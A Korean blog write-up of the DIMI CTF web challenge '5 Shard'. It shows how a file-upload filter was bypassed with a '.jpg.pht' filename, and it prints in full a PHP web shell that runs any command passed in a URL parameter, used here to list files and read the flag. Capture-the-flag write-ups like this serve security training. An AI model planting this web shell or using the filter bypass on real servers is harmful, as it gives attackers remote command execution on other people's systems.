본문 바로가기

웹해킹/DIMI CTF

DIMI CTF Web 5 Shard Writeup

반응형

DIMI CTF Web 5 Shard Writeup

DIMI CTF Web 5 Shard Writeup 1

hint에 디렉터리 리스팅이 있다. 힌트를 중점으로 살펴보자.

 

 

5 Shared 메인화면

메인 화면에 들어가면 다음과 같이 나온다. 파일이 업로드되고 있는 걸 보니, 웹쉘을 올려보고 싶기도 하다.

 

5 Shared  Directory Structure

구조에서 보이듯이 flag가 파일로 존재하고 루트에 있다. 디렉터리 리스팅이었으니 바로 exploit 해봤다.

 

index.php

코드를 보니 "~uploads/자신의 세션/ "에 파일이 저장되는 것으로 보인다. 따라서 파일 업로드 취약점을 이용해서 웹쉘을 업로드해보기로 했다.

 

Directory Listing

먼저 디렉터리 리스팅이 제대로 되는지 확인을 했다.

 

upload.php

파일 업로드 필터

필터를 보니 먼저 php가 대소문자 상관없이 필터링되고, 파일 크기는 4byte보다 작아야 하고,  파일 이름 안에 jpg, gif, png 등이 들어가야 한다.

 

exploit

먼저 간단한 웹쉘을 git에서 가져왔다. https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

간단한 웹쉘코드이다.

 

파일 이름에 php가 들어가면 필터링되니까 여러 우회방법을 시도한 끝에, apache환경에서 php가 허용된 내역을 확인했더니 "ph(p[3457]?|t|tml$" 으로 나온다. 따라서 pht로 우회해서 넣었다.

 

 

simple.jpg.pht 웹쉘 업로드

이제 웹쉘을 실행해보자.

 

webshell 실행

웹쉘이 그대로 실행되는 것이 나온다. 여기에 ls 명령어를 통해 flag가 어떤 파일명으로 되어있는지 확인했다.

 

 

ls ../../

딱 봐도 flaglfalllgllflflagflalglgllfllflflfaglflag 가 flag일 것 같다.

 

 

 

cat ../../flaglfalllgllflflagflalglgllfllflflfaglflag

flag가 출력된다.

728x90

'웹해킹 > DIMI CTF' 카테고리의 다른 글

DIMI CTF Web AoJ Writeup  (0) 2022.12.01
DIMI CTF Web simple sqli Writeup  (0) 2022.11.30
DIMI CTF Web simple XSS Writeup & webhook.site  (0) 2022.11.29
DIMI CTF Web exec me Writeup  (0) 2022.11.28